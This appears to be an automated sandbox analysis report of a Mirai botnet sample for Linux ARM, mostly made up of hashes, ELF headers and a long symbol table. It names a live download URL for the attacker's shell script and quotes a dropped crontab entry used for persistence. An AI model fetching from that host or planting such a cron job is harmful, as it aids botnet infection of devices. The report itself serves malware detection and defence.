        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
        Ingress Tool Transfer        		Traffic DuplicationData Destruction

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1547941 Sample: k1l22Z6gKgXPE1tN9Ynyy0WNW15... Startdate: 03/11/2024 Architecture: LINUX Score: 84 31 87.120.84.230, 37636, 443, 60216 SHARCOM-ASBG Bulgaria 2->31 33 conn.masjesu.zip 2->33 35 Multi AV Scanner detection for submitted file 2->35 37 Yara detected Mirai 2->37 39 Contains symbols with names commonly found in malware 2->39 9 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf 2->9         started        signatures3 process4 process5 11 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf 9->11         started        13 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf 9->13         started        process6 15 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf sh 11->15         started        17 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf sh 11->17         started        19 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf 13->19         started        21 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf 13->21         started        process7 23 sh crontab 15->23         started        27 sh crontab 17->27         started        file8 29 /var/spool/cron/crontabs/tmp.9yxD66, ASCII 23->29 dropped 41 Sample tries to persist itself using cron 23->41 43 Executes the "crontab" command typically for achieving persistence 23->43 signatures9

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf50%ReversingLabsLinux.Backdoor.Mirai

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        conn.masjesu.zip
        		216.126.231.240
        		truefalse
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://87.120.84.230/.shellfalse
            		unknown
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elffalse
            • URL Reputation: safe
            		unknown
            http://purenetworks.com/HNAP1/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elffalse
              		unknown
              http://schemas.xmlsoap.org/soap/envelope/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elffalse
              • URL Reputation: safe
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              87.120.84.230
              		unknownBulgaria
              		51189SHARCOM-ASBGfalse

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              87.120.84.230CP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230/.shell
              E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230/.shell
              k86m.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230/.shell
              686i.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230/.shell
              spim.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230/.shell

              Domains

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              conn.masjesu.zipCP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              UN3K7t8FSaJMuAeg0Kx8wIw1wnRivUhO66.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              dgPyLAhSteugJsfrMjYFblK9cdEDHSwa5U.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              k86m.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              686i.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              spim.elfGet hashmaliciousMiraiBrowse
              • 216.126.231.240
              lespim.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              7jJ5MmlHbSHkdkHmvUSAjcUp2P2shzjYzN.elfGet hashmaliciousUnknownBrowse
              • 95.214.27.215
              5W1oMx0mvDdA5qxT1IJjtPL48vEFbOM1gh.elfGet hashmaliciousUnknownBrowse
              • 95.214.27.215

              ASNs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              SHARCOM-ASBGCP0BHTY83T9LhjWEQcsk2nqqVKWqC0ETyy.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              E6YB1KcrN7wzwnBqPdocv7WXvnyB5TROSX.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              k86m.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              686i.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              spim.elfGet hashmaliciousMiraiBrowse
              • 87.120.84.230
              New Order.docx.docGet hashmaliciousUnknownBrowse
              • 87.120.84.38
              New Order.docx.docGet hashmaliciousUnknownBrowse
              • 87.120.84.38
              SWIFT COPY 2.docGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
              • 87.120.84.39
              Inquiry.docx.docGet hashmaliciousFormBookBrowse
              • 87.120.84.39
              na.docGet hashmaliciousFormBookBrowse
              • 87.120.84.38

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              ⊘No context

              Created / dropped Files

              Process:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              File Type:data
              Category:dropped
              Size (bytes):44
              Entropy (8bit):4.771598379853423
              Encrypted:false
              SSDEEP:3:TgNHwNBVAA3:TgNQNBqG
              MD5:23C99999C094074EED89F0F105FC104A
              SHA1:FED22F4C0C95A5C4BEF91E3822C0E45574BB76BC
              SHA-256:57E51C617EA4C9A931480C379A127C8321CFC46431E73C07287C1151698B94BC
              SHA-512:7CFC061B028CB24BD85F4C197011EEF612D62555017B7CE8499E998D24FB4CE294B96CBFEFA19009C29E68F35F9151E8C81F1DE27B27E24EE24C1AB0C1EFF6F9
              Malicious:false
              Reputation:low
              Preview:/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf.
              Process:/usr/bin/crontab
              File Type:ASCII text
              Category:dropped
              Size (bytes):210
              Entropy (8bit):5.11586549239953
              Encrypted:false
              SSDEEP:6:SUrpqoqQjEOP1KmREJOBFQ33HvZHGMQ5UYLtCFt3eQTbHvn:8QjHig833peHLUeQTbHv
              MD5:E17B4B7C5926742E7BD0FC42CB1C2D5B
              SHA1:CD5D2B61FE7B979E1538AEC3E9A0A1C50DAB20B3
              SHA-256:634696CE2D3DF3B72CDEECC7D179F0284703E20BE99FDF8D2CCDB4A2F63BAE1F
              SHA-512:02A925BDDA7D82A8A79D9BE7CBD9B0BDE21A9C547C8A522A8D0EFEA00D1DD159715F4D9592BF079FC56803FBD535769F68D4F65F6A6D07C24D9FF074170925AB
              Malicious:true
              Reputation:low
              Preview:# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Sun Nov 3 06:51:18 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).*/15 * * * * /usr/lib/ld-unix.so.2.

              Static File Info

              General

              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
              Entropy (8bit):6.030570532349569
              TrID:
              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
              File name:k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44.elf
              File size:144'869 bytes
              MD5:3ca8decdb1e52c423c521bfff02ac200
              SHA1:8621ecd6807109b8541912ad9e134f6fb49bfd48
              SHA256:dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
              SHA512:b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
              SSDEEP:3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
              TLSH:C9E33B01D961875BC1C227BABBAF425D33365F58E78B33215A246FB82FC6B8D1E39111
              File Content Preview:.ELF..............(.........4...........4. ...(........pD...D...D...................................T...T................................,..........Q.td..................................-...L..................G.F.G.F.G.F.G.F G.F(G.F0G.F8G.F@G.FHG.FPG.FXG.

              Static ELF Info

              ELF header

              Class:ELF32
              Data:2's complement, little endian
              Version:1 (current)
              Machine:ARM
              Version Number:0x1
              Type:EXEC (Executable file)
              OS/ABI:UNIX - System V
              ABI Version:0
              Entry Point Address:0x81b0
              Flags:0x4000002
              ELF Header Size:52
              Program Header Offset:52
              Program Header Size:32
              Number of Program Headers:4
              Section Header Offset:110332
              Section Header Size:40
              Number of Section Headers:24
              Header String Table Index:21

              Sections

              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
              NULL0x00x00x00x00x0000
              .initPROGBITS0x80b40xb40x100x00x6AX004
              .textPROGBITS0x80d00xd00x153640x00x6AX0016
              .finiPROGBITS0x1d4340x154340x100x00x6AX004
              .rodataPROGBITS0x1d4480x154480x33e40x00x2A008
              .ARM.extabPROGBITS0x2082c0x1882c0x180x00x2A004
              .ARM.exidxARM_EXIDX0x208440x188440x100x00x82AL204
              .eh_framePROGBITS0x290000x190000x40x00x3WA004
              .init_arrayINIT_ARRAY0x290040x190040x40x00x3WA004
              .fini_arrayFINI_ARRAY0x290080x190080x40x00x3WA004
              .jcrPROGBITS0x2900c0x1900c0x40x00x3WA004
              .gotPROGBITS0x290100x190100x7c0x40x3WA004
              .dataPROGBITS0x2908c0x1908c0x2f80x00x3WA004
              .bssNOBITS0x293840x193840x29580x00x3WA004
              .commentPROGBITS0x00x193840xdba0x00x0001
              .debug_arangesPROGBITS0x00x1a1400xe00x00x0008
              .debug_infoPROGBITS0x00x1a2200x4b00x00x0001
              .debug_abbrevPROGBITS0x00x1a6d00x8c0x00x0001
              .debug_linePROGBITS0x00x1a75c0x6550x00x0001
              .debug_framePROGBITS0x00x1adb40x580x00x0004
              .ARM.attributesARM_ATTRIBUTES0x00x1ae0c0x100x00x0001
              .shstrtabSTRTAB0x00x1ae1c0xdd0x00x0001
              .symtabSYMTAB0x00x1b2bc0x56600x100x0237644
              .strtabSTRTAB0x00x2091c0x2cc90x00x0001

              Program Segments

              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
              EXIDX0x188440x208440x208440x100x102.40560x4R 0x4.ARM.exidx
              LOAD0x00x80000x80000x188540x188546.21600x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
              LOAD0x190000x290000x290000x3840x2cdc3.54200x6RW 0x8000.eh_frame .init_array .fini_array .jcr .got .data .bss
              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

              Symbols

              NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
              .symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
              .symtab0x80b40SECTION<unknown>DEFAULT1
              .symtab0x80d00SECTION<unknown>DEFAULT2
              .symtab0x1d4340SECTION<unknown>DEFAULT3
              .symtab0x1d4480SECTION<unknown>DEFAULT4
              .symtab0x2082c0SECTION<unknown>DEFAULT5
              .symtab0x208440SECTION<unknown>DEFAULT6
              .symtab0x290000SECTION<unknown>DEFAULT7
              .symtab0x290040SECTION<unknown>DEFAULT8
              .symtab0x290080SECTION<unknown>DEFAULT9
              .symtab0x2900c0SECTION<unknown>DEFAULT10
              .symtab0x290100SECTION<unknown>DEFAULT11
              .symtab0x2908c0SECTION<unknown>DEFAULT12
              .symtab0x293840SECTION<unknown>DEFAULT13
              .symtab0x00SECTION<unknown>DEFAULT14
              .symtab0x00SECTION<unknown>DEFAULT15
              .symtab0x00SECTION<unknown>DEFAULT16
              .symtab0x00SECTION<unknown>DEFAULT17
              .symtab0x00SECTION<unknown>DEFAULT18
              .symtab0x00SECTION<unknown>DEFAULT19
              .symtab0x00SECTION<unknown>DEFAULT20
              .symtab0x00SECTION<unknown>DEFAULT21
              .symtab0x00SECTION<unknown>DEFAULT22
              .symtab0x00SECTION<unknown>DEFAULT23
              $a.symtab0x80b40NOTYPE<unknown>DEFAULT1
              $a.symtab0x1d4340NOTYPE<unknown>DEFAULT3
              $a.symtab0x80c00NOTYPE<unknown>DEFAULT1
              $a.symtab0x1d4400NOTYPE<unknown>DEFAULT3
              $a.symtab0x810c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x81500NOTYPE<unknown>DEFAULT2
              $a.symtab0x81b00NOTYPE<unknown>DEFAULT2
              $a.symtab0x81ec0NOTYPE<unknown>DEFAULT2
              $a.symtab0x82dc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x83900NOTYPE<unknown>DEFAULT2
              $a.symtab0x84d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x862c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x86840NOTYPE<unknown>DEFAULT2
              $a.symtab0x86dc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x87480NOTYPE<unknown>DEFAULT2
              $a.symtab0x87d80NOTYPE<unknown>DEFAULT2
              $a.symtab0x88440NOTYPE<unknown>DEFAULT2
              $a.symtab0x8a380NOTYPE<unknown>DEFAULT2
              $a.symtab0x8b140NOTYPE<unknown>DEFAULT2
              $a.symtab0x8d700NOTYPE<unknown>DEFAULT2
              $a.symtab0x8e5c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x8fa80NOTYPE<unknown>DEFAULT2
              $a.symtab0x90980NOTYPE<unknown>DEFAULT2
              $a.symtab0x91840NOTYPE<unknown>DEFAULT2
              $a.symtab0x92780NOTYPE<unknown>DEFAULT2
              $a.symtab0x93680NOTYPE<unknown>DEFAULT2
              $a.symtab0x94580NOTYPE<unknown>DEFAULT2
              $a.symtab0x95480NOTYPE<unknown>DEFAULT2
              $a.symtab0x96340NOTYPE<unknown>DEFAULT2
              $a.symtab0x97240NOTYPE<unknown>DEFAULT2
              $a.symtab0x98140NOTYPE<unknown>DEFAULT2
              $a.symtab0x99040NOTYPE<unknown>DEFAULT2
              $a.symtab0x99f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x9ae80NOTYPE<unknown>DEFAULT2
              $a.symtab0x9bcc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x9fdc0NOTYPE<unknown>DEFAULT2
              $a.symtab0xa14c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xa1fc0NOTYPE<unknown>DEFAULT2
              $a.symtab0xa5180NOTYPE<unknown>DEFAULT2
              $a.symtab0xa6000NOTYPE<unknown>DEFAULT2
              $a.symtab0xa6840NOTYPE<unknown>DEFAULT2
              $a.symtab0xad740NOTYPE<unknown>DEFAULT2
              $a.symtab0xaf000NOTYPE<unknown>DEFAULT2
              $a.symtab0xb1780NOTYPE<unknown>DEFAULT2
              $a.symtab0xb62c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xb9680NOTYPE<unknown>DEFAULT2
              $a.symtab0xbe400NOTYPE<unknown>DEFAULT2
              $a.symtab0xc1280NOTYPE<unknown>DEFAULT2
              $a.symtab0xc56c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xc9b00NOTYPE<unknown>DEFAULT2
              $a.symtab0xcdf40NOTYPE<unknown>DEFAULT2
              $a.symtab0xd2380NOTYPE<unknown>DEFAULT2
              $a.symtab0xd67c0NOTYPE<unknown>DEFAULT2
              $a.symtab0xdb300NOTYPE<unknown>DEFAULT2
              $a.symtab0xe7780NOTYPE<unknown>DEFAULT2
              $a.symtab0xf3c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1000c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x106780NOTYPE<unknown>DEFAULT2
              $a.symtab0x108340NOTYPE<unknown>DEFAULT2
              $a.symtab0x10df00NOTYPE<unknown>DEFAULT2
              $a.symtab0x10fa40NOTYPE<unknown>DEFAULT2
              $a.symtab0x113340NOTYPE<unknown>DEFAULT2
              $a.symtab0x114780NOTYPE<unknown>DEFAULT2
              $a.symtab0x118940NOTYPE<unknown>DEFAULT2
              $a.symtab0x119d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x119e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x119fc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11a2c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11a680NOTYPE<unknown>DEFAULT2
              $a.symtab0x11a9c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11ad00NOTYPE<unknown>DEFAULT2
              $a.symtab0x11b040NOTYPE<unknown>DEFAULT2
              $a.symtab0x11b380NOTYPE<unknown>DEFAULT2
              $a.symtab0x11b6c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11ba00NOTYPE<unknown>DEFAULT2
              $a.symtab0x11bd40NOTYPE<unknown>DEFAULT2
              $a.symtab0x11c000NOTYPE<unknown>DEFAULT2
              $a.symtab0x11c340NOTYPE<unknown>DEFAULT2
              $a.symtab0x11c740NOTYPE<unknown>DEFAULT2
              $a.symtab0x11ca80NOTYPE<unknown>DEFAULT2
              $a.symtab0x11cd80NOTYPE<unknown>DEFAULT2
              $a.symtab0x11dd00NOTYPE<unknown>DEFAULT2
              $a.symtab0x11ea00NOTYPE<unknown>DEFAULT2
              $a.symtab0x11f4c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x11fe40NOTYPE<unknown>DEFAULT2
              $a.symtab0x120cc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x120e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x121200NOTYPE<unknown>DEFAULT2
              $a.symtab0x122d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x122f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x123680NOTYPE<unknown>DEFAULT2
              $a.symtab0x123980NOTYPE<unknown>DEFAULT2
              $a.symtab0x123c80NOTYPE<unknown>DEFAULT2
              $a.symtab0x123fc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x124b00NOTYPE<unknown>DEFAULT2
              $a.symtab0x125e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x128ac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x12bb40NOTYPE<unknown>DEFAULT2
              $a.symtab0x12c1c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x12c500NOTYPE<unknown>DEFAULT2
              $a.symtab0x12d240NOTYPE<unknown>DEFAULT2
              $a.symtab0x12d540NOTYPE<unknown>DEFAULT2
              $a.symtab0x12e380NOTYPE<unknown>DEFAULT2
              $a.symtab0x135f80NOTYPE<unknown>DEFAULT2
              $a.symtab0x136980NOTYPE<unknown>DEFAULT2
              $a.symtab0x136dc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1388c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x138e00NOTYPE<unknown>DEFAULT2
              $a.symtab0x13e500NOTYPE<unknown>DEFAULT2
              $a.symtab0x13f0c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x13fc00NOTYPE<unknown>DEFAULT2
              $a.symtab0x140840NOTYPE<unknown>DEFAULT2
              $a.symtab0x1420c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x144180NOTYPE<unknown>DEFAULT2
              $a.symtab0x144b80NOTYPE<unknown>DEFAULT2
              $a.symtab0x144f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x146640NOTYPE<unknown>DEFAULT2
              $a.symtab0x147200NOTYPE<unknown>DEFAULT2
              $a.symtab0x147c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x148200NOTYPE<unknown>DEFAULT2
              $a.symtab0x148300NOTYPE<unknown>DEFAULT2
              $a.symtab0x148400NOTYPE<unknown>DEFAULT2
              $a.symtab0x148500NOTYPE<unknown>DEFAULT2
              $a.symtab0x1494c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x14a180NOTYPE<unknown>DEFAULT2
              $a.symtab0x14a400NOTYPE<unknown>DEFAULT2
              $a.symtab0x14a640NOTYPE<unknown>DEFAULT2
              $a.symtab0x14b200NOTYPE<unknown>DEFAULT2
              $a.symtab0x14c100NOTYPE<unknown>DEFAULT2
              $a.symtab0x14c280NOTYPE<unknown>DEFAULT2
              $a.symtab0x14c580NOTYPE<unknown>DEFAULT2
              $a.symtab0x14d580NOTYPE<unknown>DEFAULT2
              $a.symtab0x14d7c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x14df80NOTYPE<unknown>DEFAULT2
              $a.symtab0x14e580NOTYPE<unknown>DEFAULT2
              $a.symtab0x151440NOTYPE<unknown>DEFAULT2
              $a.symtab0x1550c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x156040NOTYPE<unknown>DEFAULT2
              $a.symtab0x156ac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x156d40NOTYPE<unknown>DEFAULT2
              $a.symtab0x156f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x157580NOTYPE<unknown>DEFAULT2
              $a.symtab0x157900NOTYPE<unknown>DEFAULT2
              $a.symtab0x157c80NOTYPE<unknown>DEFAULT2
              $a.symtab0x158000NOTYPE<unknown>DEFAULT2
              $a.symtab0x158380NOTYPE<unknown>DEFAULT2
              $a.symtab0x158700NOTYPE<unknown>DEFAULT2
              $a.symtab0x158b00NOTYPE<unknown>DEFAULT2
              $a.symtab0x158f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x1592c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x159480NOTYPE<unknown>DEFAULT2
              $a.symtab0x15a000NOTYPE<unknown>DEFAULT2
              $a.symtab0x15a6c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x164040NOTYPE<unknown>DEFAULT2
              $a.symtab0x165380NOTYPE<unknown>DEFAULT2
              $a.symtab0x169d80NOTYPE<unknown>DEFAULT2
              $a.symtab0x16a180NOTYPE<unknown>DEFAULT2
              $a.symtab0x16b400NOTYPE<unknown>DEFAULT2
              $a.symtab0x16b580NOTYPE<unknown>DEFAULT2
              $a.symtab0x16bfc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x16cb40NOTYPE<unknown>DEFAULT2
              $a.symtab0x16d740NOTYPE<unknown>DEFAULT2
              $a.symtab0x16e180NOTYPE<unknown>DEFAULT2
              $a.symtab0x16efc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x16f8c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x170640NOTYPE<unknown>DEFAULT2
              $a.symtab0x171480NOTYPE<unknown>DEFAULT2
              $a.symtab0x171680NOTYPE<unknown>DEFAULT2
              $a.symtab0x171840NOTYPE<unknown>DEFAULT2
              $a.symtab0x173440NOTYPE<unknown>DEFAULT2
              $a.symtab0x173fc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x174a80NOTYPE<unknown>DEFAULT2
              $a.symtab0x175f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x17bcc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x17c780NOTYPE<unknown>DEFAULT2
              $a.symtab0x17cc80NOTYPE<unknown>DEFAULT2
              $a.symtab0x17d880NOTYPE<unknown>DEFAULT2
              $a.symtab0x17ddc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x17e480NOTYPE<unknown>DEFAULT2
              $a.symtab0x1811c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x181840NOTYPE<unknown>DEFAULT2
              $a.symtab0x1820c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x182180NOTYPE<unknown>DEFAULT2
              $a.symtab0x182300NOTYPE<unknown>DEFAULT2
              $a.symtab0x182700NOTYPE<unknown>DEFAULT2
              $a.symtab0x182a40NOTYPE<unknown>DEFAULT2
              $a.symtab0x182d80NOTYPE<unknown>DEFAULT2
              $a.symtab0x183380NOTYPE<unknown>DEFAULT2
              $a.symtab0x1836c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x183940NOTYPE<unknown>DEFAULT2
              $a.symtab0x183a80NOTYPE<unknown>DEFAULT2
              $a.symtab0x183dc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x183f00NOTYPE<unknown>DEFAULT2
              $a.symtab0x184040NOTYPE<unknown>DEFAULT2
              $a.symtab0x184200NOTYPE<unknown>DEFAULT2
              $a.symtab0x184b40NOTYPE<unknown>DEFAULT2
              $a.symtab0x1850c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x185780NOTYPE<unknown>DEFAULT2
              $a.symtab0x1858c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x187bc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x187e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x188c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x188f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x189280NOTYPE<unknown>DEFAULT2
              $a.symtab0x1897c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x189b00NOTYPE<unknown>DEFAULT2
              $a.symtab0x189e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x18ad40NOTYPE<unknown>DEFAULT2
              $a.symtab0x18af00NOTYPE<unknown>DEFAULT2
              $a.symtab0x18e940NOTYPE<unknown>DEFAULT2
              $a.symtab0x18ee80NOTYPE<unknown>DEFAULT2
              $a.symtab0x18f0c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x18fbc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x18ff80NOTYPE<unknown>DEFAULT2
              $a.symtab0x190500NOTYPE<unknown>DEFAULT2
              $a.symtab0x191040NOTYPE<unknown>DEFAULT2
              $a.symtab0x192440NOTYPE<unknown>DEFAULT2
              $a.symtab0x192dc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x193ac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1941c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x194480NOTYPE<unknown>DEFAULT2
              $a.symtab0x195a40NOTYPE<unknown>DEFAULT2
              $a.symtab0x19d980NOTYPE<unknown>DEFAULT2
              $a.symtab0x19e740NOTYPE<unknown>DEFAULT2
              $a.symtab0x19fa00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a4300NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a4400NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a4600NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a5500NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a5c80NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a60c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a6bc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a79c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a7e80NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a8380NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a85c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a9480NOTYPE<unknown>DEFAULT2
              $a.symtab0x1a9880NOTYPE<unknown>DEFAULT2
              $a.symtab0x1ac280NOTYPE<unknown>DEFAULT2
              $a.symtab0x1afdc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b0140NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b0600NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b0800NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b08c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b0c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b0f40NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b1280NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b1680NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b2ac0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b2d00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b4200NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b4e40NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b5140NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b5500NOTYPE<unknown>DEFAULT2
              $a.symtab0x1b6480NOTYPE<unknown>DEFAULT2
              $a.symtab0x1be300NOTYPE<unknown>DEFAULT2
              $a.symtab0x1be840NOTYPE<unknown>DEFAULT2
              $a.symtab0x1bedc0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c3380NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c3d00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c41c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c7140NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c7480NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c7c00NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c8180NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c87c0NOTYPE<unknown>DEFAULT2
              $a.symtab0x1c8b00NOTYPE<unknown>DEFAULT2
